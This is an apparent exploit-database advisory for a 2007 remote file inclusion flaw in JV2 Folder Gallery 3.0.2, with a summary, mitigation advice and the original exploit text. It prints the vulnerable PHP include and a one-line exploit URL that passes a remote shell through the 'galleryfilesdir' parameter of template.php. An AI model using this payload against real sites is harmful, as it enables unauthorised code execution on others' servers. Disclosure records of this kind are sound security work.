Folder Gallery Remote Code Execution

vendor:

Folder Gallery

by:

ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs TeAm}>>

7.5

CVSS

HIGH

Remote Code Execution

Not mentioned

CWE

Product Name: Folder Gallery

Affected Version From: JV2 Folder Gallery 3.0.2

Affected Version To: Not mentioned

Patch Exists: NO

Related CWE: Not mentioned

CPE: Not mentioned

Metasploit:

Other Scripts:

Platforms Tested: Not mentioned

2007

Folder Gallery Remote Code Execution

The vulnerability allows remote attackers to execute arbitrary code on the target system by injecting a malicious shell command through the 'galleryfilesdir' parameter in the template.php file of JV2 Folder Gallery. This can be exploited to gain unauthorized access to the system or perform other malicious activities.

Mitigation:

Update to the latest version of JV2 Folder Gallery or apply any patches or security updates provided by the vendor. Remove any unnecessary or unused functionality from the application to reduce the attack surface.

Source

Exploit-DB raw data:

*******************************************************************************
Greatz to:AsB-MaY TeAm & HaCk.eGy & To0oFa
ScRiPt:-http://foldergallery.jv2.net/download.php?file=foldergallery_3.0.2
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs TeAm}>>
********************************************************************************
template.php:-
<?php include $galleryfilesdir."/gallery_footer.php"; ?>
********************************************************************************
ExPlOiT:

http://www.Site.com/[JV2 Folder Gallery]/gallery/theme/include_mode/template.php?galleryfilesdir=[Shell]

********************************************************************************

# milw0rm.com [2007-01-31]